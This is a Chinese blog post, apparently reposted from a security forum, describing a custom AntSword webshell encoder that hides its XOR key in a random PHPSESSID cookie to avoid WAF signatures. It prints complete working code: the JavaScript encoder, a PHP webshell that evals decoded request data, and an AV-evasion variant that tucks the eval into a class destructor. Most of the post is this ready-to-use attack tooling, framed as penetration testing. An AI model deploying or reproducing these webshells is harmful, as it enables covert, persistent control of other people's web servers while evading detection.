基于随机Cookie的蚁剑动态秘钥编码器

2019-12-13 约 180 字 预计阅读 1 分钟

声明:本文 【基于随机Cookie的蚁剑动态秘钥编码器】 由作者 yzddmr6 于 2019-12-13 09:36:51 首发 先知社区 曾经 浏览数 550 次

感谢 yzddmr6 的辛苦付出!

前言

在上一篇蚁剑实现动态秘钥编码器解码器中,本人为了规避握手交换秘钥的特征,采用了利用时间生成随机秘钥的办法。

但是在实际使用的过程中还是会出现各种各样的玄学BUG,导致利用失败,我个人不是特别满意。

研究了一下蚁剑编码器的ext参数后,决定采用利用随机Cookie来产生随机秘钥的方式。

正文

编码器的ext参数

本来等蚁剑作者编码器的第三篇,结果一直没等到。。。

算了还是自己研究一下吧

首先新建一个编码器,名字叫test吧

加入一行console.log(ext.opts.httpConf);

然后随便连接一个shell,打开开发者工具,可以看到已经打印出了我们所需要的信息

包括shell请求的body跟headers头

抓包看一下,headers头的结果跟抓包的结果是一致的

那么我们能否从编码器中修改headers头呢

我们在编码器中加入一行

ext.opts.httpConf.headers['User-Agent']='yzddMr6';

可以看到我们已经成功修改了shell中UA的值。

同理,我们也可以在编码器中对其他header头或者body进行修改。

随机生成Cookie

既然我们已经可以任意修改shell的请求信息,我们就可以把秘钥放在一个指定的headers字段里,shell获取后再对payload进行加解密。

但是突然多出来一个奇奇怪怪的字段,长时间后就会变成waf识别的特征。

那么有没有什么是变化的,并且很常见的headers头呢?

我们就可以想到利用Cookie。

参考蚁剑的aes编码器,它所采用的方法是人工首先访问shell生成一个sessionid,填入shell配置后作为后面通讯的秘钥。

但是实际上因为我们已经可以控制cookie字段,我们完全可以在编码器中每次生成一个随机的cookie,这样就省去了人工操作的一步。

有一个坑要注意,php的session id一般是26位的,所以我们最好也生成一个26位的秘钥,增强伪装性。(虽然可能并没有什么卵用)

具体实现

编码器

'use strict';
//code by yzddmr6

module.exports = (pwd, data, ext = {}) => {
  let randomID = `x${Math.random().toString(16).substr(2)}`;

  function xor(payload) {
    let crypto = require('crypto');
    let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
    ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
    key = key.split("").map(t => t.charCodeAt(0));
    //let payload="phpinfo();";
    let cipher = payload.split("").map(t => t.charCodeAt(0));
    for (let i = 0; i < cipher.length; i++) {
      cipher[i] = cipher[i] ^ key[i % 26]
    }
    cipher = cipher.map(t => String.fromCharCode(t)).join("")
    cipher = Buffer.from(cipher).toString('base64');
    //console.log(cipher)
    return cipher;
  }


  data['_'] = Buffer.from(data['_']).toString('base64');
  data[pwd] = `eval(base64_decode("${data['_']}"));`;
  data[pwd]=xor(data[pwd]);
  delete data['_'];

  return data;
}

Shell原型

<?php
@$post=base64_decode($_REQUEST['test']);
$key=@$_COOKIE['PHPSESSID'];
for($i=0;$i<strlen($post);$i++){
    $post[$i] = $post[$i] ^ $key[$i%26];
}
@eval($post);
?>

免杀处理

<?php
class Cookie
{
    function __construct()
    {
        $key=@$_COOKIE['PHPSESSID'];
        @$post=base64_decode($_REQUEST['test']);
        for($i=0;$i<strlen($post);$i++){
            $post[$i] = $post[$i] ^ $key[$i%26];
        }
        return $post;
    }
    function __destruct()
    {return @eval($this->__construct());}
}
$check=new Cookie();
?>

连接测试

最后

还是老问题,蚁剑的其他参数只是一层base64,这个就需要大家自己手工去改了。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now